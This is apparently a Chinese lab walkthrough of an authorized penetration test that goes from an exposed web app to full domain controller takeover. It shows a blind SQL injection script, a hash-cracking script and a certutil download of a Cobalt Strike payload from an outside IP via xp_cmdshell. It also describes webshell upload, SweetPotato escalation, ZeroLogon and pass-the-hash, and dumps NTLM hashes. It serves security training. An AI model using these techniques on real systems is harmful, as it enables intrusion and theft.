域控常用策略(域渗透之外网打点到三层内网)

环境搭建1.项目介绍:

本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。

2.VPS映射

1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini

域控常用策略(域渗透之外网打点到三层内网)(1)

在web1上配置frpc.ini 运行 frpc.exe -c frp.ini

域控常用策略(域渗透之外网打点到三层内网)(2)

成功访问到环境http://x.x.x.x:8088/login.jsp

域控常用策略(域渗透之外网打点到三层内网)(3)

信息收集1.端口探测

域控常用策略(域渗透之外网打点到三层内网)(4)

使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。

域控常用策略(域渗透之外网打点到三层内网)(5)

然后查看其详细信息。

域控常用策略(域渗透之外网打点到三层内网)(6)

2.网站源代码查找

发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。

域控常用策略(域渗透之外网打点到三层内网)(7)

然后就在github试试运气,发现了源码。

域控常用策略(域渗透之外网打点到三层内网)(8)

源码地址:https://github.com/amateur-RD/netBank-System

域控常用策略(域渗透之外网打点到三层内网)(9)

发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。

域控常用策略(域渗透之外网打点到三层内网)(10)

3.sql注入

然后进行登录测试,发现存在sql注入漏洞

域控常用策略(域渗透之外网打点到三层内网)(11)

网上银行系统Hsql注入漏洞

域控常用策略(域渗透之外网打点到三层内网)(12)

使用sqlmap不能进行跑出用户名和密码。

域控常用策略(域渗透之外网打点到三层内网)(13)

4.编写脚本进行sql注入coding:utf-8

import requests password="" url="[http://x.x.x.x:8878/admin/login"](http://103.121.93.206:8878/admin/login") payload="0123456789abcdefghijklmnopqrstuvwxyz" password="" for i in range(1,20): for j in payload: exp = "admin' and(select substring(password,%s,1) from Admin) like '%s' or '1'='" %(i,j) print("正在注入") data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1} req = requests.post(url=url, data=data); if "密码不正确" in req.text: password =j break print(password)

成功跑出密码。然后进行登录。

域控常用策略(域渗透之外网打点到三层内网)(14)

登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。

域控常用策略(域渗透之外网打点到三层内网)(15)

5.tomexam SQL注入漏洞

在另一个地址处,发现可以注册用户。然后注册用户进行登录。

域控常用策略(域渗透之外网打点到三层内网)(16)

登录之后发现,某处存在sql注入。

域控常用策略(域渗透之外网打点到三层内网)(17)

域控常用策略(域渗透之外网打点到三层内网)(18)

使用sqlmap进行获取用户信息。

域控常用策略(域渗透之外网打点到三层内网)(19)

域控常用策略(域渗透之外网打点到三层内网)(20)

| 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 || 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14成功抓到了管理员用户和密码,然后使用md5进行解密。

域控常用策略(域渗透之外网打点到三层内网)(21)

成功进行登录。登录之后没有找到可getshell的地方。

域控常用策略(域渗透之外网打点到三层内网)(22)

6.jspxcms-SQL注入

首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。

域控常用策略(域渗透之外网打点到三层内网)(23)

发现先知的大佬做过找个版本的代码审计。参考链接:https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。

域控常用策略(域渗透之外网打点到三层内网)(24)

在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。

域控常用策略(域渗透之外网打点到三层内网)(25)

使用sqlmap进行查找表、用户和吗密码。

域控常用策略(域渗透之外网打点到三层内网)(26)

成功发现了用户名和加密的密码。密码推断是明文密码 salt然后再进行md5加密。

域控常用策略(域渗透之外网打点到三层内网)(27)

7.编写解密脚本

通过其源码,分析其加密方式,然后编写解密脚本。

package com.jspxcms.core; import com.jspxcms.common.security.SHA1CredentialsDigest; import com.jspxcms.common.util.Encodes; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.io.PrintWriter; import java.util.Scanner; public class Testmain { public static void main(String[] args)throws Exception { byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9"); SHA1CredentialsDigest test = new SHA1CredentialsDigest(); String fileName = "D:\\csdnpass.txt"; String fileName2 = "D:\\hashpassword2.txt"; try (Scanner sc = new Scanner(new FileReader(fileName))) { while (sc.hasNextLine()) { String line = sc.nextLine(); String encPass = test.digest(line, salt); File f = new File(fileName2); FileWriter fw = new FileWriter(f, true); PrintWriter pw = new PrintWriter(fw); pw.println(line " " encPass); pw.close(); } } } }

域控常用策略(域渗透之外网打点到三层内网)(28)

8.登录jspxcms后台getshell

使用管理员用户和解密出来的密码,成功进入管理员后台。

域控常用策略(域渗透之外网打点到三层内网)(29)

使用哥斯拉生成一个木马,然后使用jar,打包成为war包。

域控常用策略(域渗透之外网打点到三层内网)(30)

9.编写目录穿越脚本

根据先知社区的大佬提出的方法,编写目录穿越脚本。

域控常用策略(域渗透之外网打点到三层内网)(31)

成功进行上传。

域控常用策略(域渗透之外网打点到三层内网)(32)

10.获取webshell

使用哥斯拉连接webshell,成功执行命令。

域控常用策略(域渗透之外网打点到三层内网)(33)

内网渗透:1.frp反向代理上线CS

首先配置内网cobalt strike内网上线

域控常用策略(域渗透之外网打点到三层内网)(34)

在kali启动cs服务端,

域控常用策略(域渗透之外网打点到三层内网)(35)

查看其端口

域控常用策略(域渗透之外网打点到三层内网)(36)

配置frp的frps.ini信息。

域控常用策略(域渗透之外网打点到三层内网)(37)

2.CS上线

cs生成监听。

域控常用策略(域渗透之外网打点到三层内网)(38)

然后上传.exe文件进行上线。

域控常用策略(域渗透之外网打点到三层内网)(39)

成功上线。

域控常用策略(域渗透之外网打点到三层内网)(40)

3.内网信息收集

使用shell iponfig 收集信息。

域控常用策略(域渗透之外网打点到三层内网)(41)

根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。

域控常用策略(域渗透之外网打点到三层内网)(42)

查看计算机名。

域控常用策略(域渗透之外网打点到三层内网)(43)

使用net view 查找域内其它主机,发现不能找到其他主机。

域控常用策略(域渗透之外网打点到三层内网)(44)

4.开启代理进行端口扫描

域控常用策略(域渗透之外网打点到三层内网)(45)

查看server2012的IP地址。

域控常用策略(域渗透之外网打点到三层内网)(46)

5.域内主机端口扫描

域控常用策略(域渗透之外网打点到三层内网)(47)

发现存在1433——Mysql的端口,尝试进行弱口令的暴力破解。最好成功爆破出账号和密码.

域控常用策略(域渗透之外网打点到三层内网)(48)

6.Mssqlclient 登录Mssql服务器

使用mysql用户和密码进行登录。

域控常用策略(域渗透之外网打点到三层内网)(49)

7.xp_cmshell进行getshell

help查看可以执行那些命令。

域控常用策略(域渗透之外网打点到三层内网)(50)

开启xp_cmdshell,然后进行信息收集。

域控常用策略(域渗透之外网打点到三层内网)(51)

使用certutil远程下载之前的木马,然后进行上线xp_cmdshell certutil -urlcache -split -f http://39.103.134.134/artifact.exec:/windows/temp/artifact.exe

域控常用策略(域渗透之外网打点到三层内网)(52)

8.使用SweetPotato (ms16-075)提权

上线之后,进行简单的信息收集。

域控常用策略(域渗透之外网打点到三层内网)(53)

然后使用第三方插件,利用SweetPotato (ms16-075)提权对其进行提权。

域控常用策略(域渗透之外网打点到三层内网)(54)

成功提权。

域控常用策略(域渗透之外网打点到三层内网)(55)

内网域渗透1.内网域信息收集

使用net view查看域内主机。

域控常用策略(域渗透之外网打点到三层内网)(56)

使用hashdump进行抓取一些用户的hash值。

域控常用策略(域渗透之外网打点到三层内网)(57)

查看主机ip地址。

域控常用策略(域渗透之外网打点到三层内网)(58)

查看域控的Ip地址,和域控的计算机名。

域控常用策略(域渗透之外网打点到三层内网)(59)

域控常用策略(域渗透之外网打点到三层内网)(60)

2.ZeroLogon CVE-2020-1472 获取域控权限

编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。

域控常用策略(域渗透之外网打点到三层内网)(61)

将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0

域控常用策略(域渗透之外网打点到三层内网)(62)

3.配置代理,登录域控

配置kali的代理地址,然后进行端口扫描,测试代理是否连接。

域控常用策略(域渗透之外网打点到三层内网)(63)

获取域控的hash值。

域控常用策略(域渗透之外网打点到三层内网)(64)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::然后进行登录域控。

域控常用策略(域渗透之外网打点到三层内网)(65)

4.PTH上线CS

关闭防火墙,利用pth进行上线cs。

域控常用策略(域渗透之外网打点到三层内网)(66)

成功执行命令。

域控常用策略(域渗透之外网打点到三层内网)(67)

生成tcp监听,然后jump到域控主机。

域控常用策略(域渗透之外网打点到三层内网)(68)

5.恢复密码、原hash。

恢复密码。

域控常用策略(域渗透之外网打点到三层内网)(69)

使用 secretsdump.py获取其hash值。python3 secretsdump.py -sam sam.save -system system.save -securitysecurity.save LOCA

域控常用策略(域渗透之外网打点到三层内网)(70)

使用:proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139fb61e3c372e666adccb7a820aa39772f恢复域控密码。成功恢复其密码。

域控常用策略(域渗透之外网打点到三层内网)(71)

靶机到这里就结束了。

域控常用策略(域渗透之外网打点到三层内网)(72)

最后,成功拿下整个域控。

域控常用策略(域渗透之外网打点到三层内网)(73)

总结:

该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xp_cmdshell进行getshell。在域渗透中使用CVE-2020-1472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关 本文原创作者:vghost

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页